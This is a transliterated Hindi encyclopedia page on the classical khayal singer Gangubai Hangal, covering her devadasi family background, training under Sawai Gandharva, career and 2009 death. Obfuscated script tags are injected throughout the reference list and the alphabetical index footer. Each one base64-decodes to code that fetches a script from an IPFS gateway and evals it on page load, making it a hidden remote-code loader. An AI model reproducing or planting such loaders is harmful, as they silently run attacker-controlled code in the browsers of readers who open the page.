गंगूबाई हंगल

	gangoobaee hangal
	gangoobaee hangal\|200px\|center
prasiddh nam	gangoobaee hangal
janm	5 march 1913
janm bhoomi	dharava d, karnatak
mrityu	21 julaee 2009
abhibhavak	chikkurav nadigar, ambabaee
pati/patni	gururav kaulagi
santan	2 putr aur 1 putri
karm bhoomi	bharat
karm-kshetr	shastriy gayan
vishay	shastriy sangit
puraskar-upadhi	'karnatak sangit nrity akadami puraskar', 'padmabhooshan', 'sangit natak akadami puraskar', 'sangit natak akadami ki sadasyata', 'dinanath pratishthan', 'manik ratn puraskar', 'padmavibhooshan'.
prasiddhi	bhairav, asavari, to di, bhimapalasi, puriya, dhanashri, marava, kedar aur chandrakauans ragoan ki gayaki ke liye sabase adhik vahavahi mili.
nagarikata	bharatiy
any janakari	1945 ke pashchath unhoanne up-shastriy shaili mean gana band kar keval shuddh shastriy shaili mean ragoan ko hi gana jari rakha.

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gangoobaee hangal (aangrezi: Gangubai Hangal, janm: 5 march 1913 - mrityu: 21 julaee 2009) bharat ki prasiddh khayal gayika thian. bharatiy shastriy sangit ke kirana gharane ka pratinidhitv karane vali gangoobaee hangal ne jatiy badhaoan ko par kar sangit kshetr mean adhe se adhik sadi tak apana yogadan diya. uttari karnatak ke dharava d jile ne hindustani sangit ke kshetr mean desh ko kee nami girami nam die. inamean bharat ratn pandit bhimasen joshi, panchakshri gavee, pandit puttarajoo gavee, pandit savee gandharv tatha pandit kumar gandharv shamil haian.^[1]

"agar ek musalaman sangitajn ho to use ustad kaha jata hai, agar vah hindoo ho to use pandit kaha jata hai. parantu kesarabaee tatha mogubaee jaisi sangit vidushiyaan keval baee hi rah jati haian." -gangoobaee

jivan parichay

gangoobaee ka janm 5 march 1913 ko karnatak ke dharava d shahar mean ek devadasi parivar mean hua. unake pitaji chikkurav nadigar ek krishak the tatha maan ambabaee karnatak shaili ki shastriy gayika thian. bachapan mean vah dharava d ke shukravarapit namak jagah mean rahate the, jo moolatah ek brahman pradhan kshetr tha. un dinoan jativad bahut prabal tha. unaka brahmanoan ke ghar pravesh nishedh tha. apani jivani mean gangubaee batatian haian- 'mujhe yad hai ki bachapan mean kis prakar mujhe dhikkarit hona p da tha jab maian ek brahman p dosi ke bagiche se am to dati huee pak di gee thi. unhean apatti is se nahian thi ki maianne unake bag se am to de, balki unhean apatti thi ki kshudr jati ki ek l daki ne unake bagiche mean ghusane ka dussahas kaise kiya? ashchary ki bat yah hai ki ab vahi log mujhe apane ghar davat par bulate haian."^[2]

shiksha

1928 mean unaki prathamik skooli shiksha samapt hone par unaka parivar hubali shahar mean rahane lage jahaan ke 'krishnaachary sangit akadami' mean unaki shastriy sangit ki shiksha prarambh huee.

parivar

gangoobaee 1929 mean 16 varsh ki ayu mean devadasi parampara ke aantargat apane yajaman gururav kaulagi ke sath bandhan mean bandh geean. parantu gururav ka sath unake bhagy mean adhik samay ke lie n raha. 4 varsh bad hi gururav ki mrityu ho gee tatha ve apane pichhe gangubaee ke sath 2 suputr aur 1 suputri chho d ge. unhean kabhi apane gahane to kabhi ghar ke bartan tak bech kar apane bachchoan ka lalan-palan karana p da.

sangit sadhana

gangoobaee mean sangit ke prati janmajat lagav tha aur yah us vakt dikhaee p data tha jab apane bachapan ke dinoan mean vah gramophon sunane ke lie s dak par dau d p dati thian aur us avaz ki nakal karane ki koshish karati thian. apani beti mean sangit ki pratibha ko dekhakar gangoobaee ki sangitajn maan ne karnatak sangit ke prati apane lagav ko door rakh diya. unhoanne yah sunishchit kiya ki unaki beti sangit kshetr ke ech. krishnaachary jaise diggaj aur kirana ustad savaee gandharv se sarvashreshth hiandustani shastriy sangit sikhe.

gangoobaee ne apane guru savaee gandharv ki shikshaoan ke bare mean ek bar kaha tha mere guruji ne yah sikhaya ki jis tarah se ek kanjoos apane paisoan ke sath vyavahar karata hai. usi tarah sur ka istemal karo...taki shrota rag ki har bariki ke mahatv ko samaksh sake.

sangit ke prati gangoobaee ka itana lagav tha ki kandagol sthit apane guru ke ghar tak pahuanchane ke liye vah 30 kilomitar ki yatra tren se poori karati thi aur isake age paidal hi jati thi. yahaan unhoanne bharat ratn se sammanit pandit bhimasen joshi ke sath sangit ki shiksha li. kirana gharane ki paranpara ko barakar rakhane vali gangoobaee is gharane aur isase ju di shaili ki shuddhata ke sath kisi tarah ka samajhauta kie jane ke paksh mean nahian thi. gangoobaee ko bhairav, asavari, to di, bhimapalasi, puriya, dhanashri, marava, kedar aur chandrakauans ragoan ki gayaki ke liye sabase adhik vahavahi mili. unhoanne ek bar kaha tha maian ragoan ko dhire-dhire age badhane aur ise dhire-dhire kholane ki himayati hooan taki shrota utsukata se agale charan ka iantazar kare.^[3]

sangit yatra

gangoobaee ne kabhi har nahian mani tatha apane sangit ke path par atal rahakar apane lie hindustani shastriy sangit ke diggajoan mean jagah banaee. varsh 1945 tak unhoanne khayal, bhajan tatha thumariyoan par adharit desh bhar ke alag-alag shaharoan mean kee sarvajanik prastutiyaan dian. ve aaul indiya rediyo mean bhi ek niyamit avaz thian. isake atirikt gangoobaee bharat ke kee utsavoan-mahotsavoan mean gayan ke liye bulaee jatian thian. khasakar mumbee ke ganeshotsav mean to ve vishesh ruchi letian thian. 1945 ke pashchath unhoanne up-shastriy shaili mean gana band kar keval shuddh shastriy shaili mean ragoan ko hi gana jari rakha.

puraskar

chitr:Blockquote-open.gif "agar ek musalaman sangitajn ho to use ustad kaha jata hai, agar vah hindoo ho to use pandit kaha jata hai. parantu kesarabaee tatha mogubaee jaisi sangit vidushiyaan keval baee hi rah jati haian." chitr:Blockquote-close.gif

- gangoobaee^[4]

nidhan

varsh 2006 mean unhoanne apane sangit ke safar ki 75vian varshagaanth manate hue apani aantim sarvajanik prastuti di tatha 21 julaee 2009 ko 96 varsh ki ayu mean ve hriday ka daura p dane se anant mean vilin ho geean. unake nidhan ke sath sangit jagath ne hiandustani shastriy sangit ke us yug ko door jate hue dekha, jisane shuddhata ke sath apana sanbandh banaya tha aur yah manyata hai ki sangit eeshvar ke sath aantarasanvad hai jo har badha ko par kar jati hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ gangoobaee ko sangit premiyoan ne di aantim bidaee (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ sur sangam mean shraddhaanjali 'gangubaee hangal' ko (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ chunautiyoan se l dakar gangoobaee ne di sangit ko nee pahachan (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ sur sangam mean shraddhaanjali 'gangubaee hangal' ko (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

avaz

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] sangit premiyoan ne di aantim bidaee (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] sur sangam mean shraddhaanjali 'gangubaee hangal' ko (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] unautiyoan se l dakar gangoobaee ne di sangit ko nee pahachan (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[4] sur sangam mean shraddhaanjali 'gangubaee hangal' ko (hiandi). . abhigaman tithi: 19 march, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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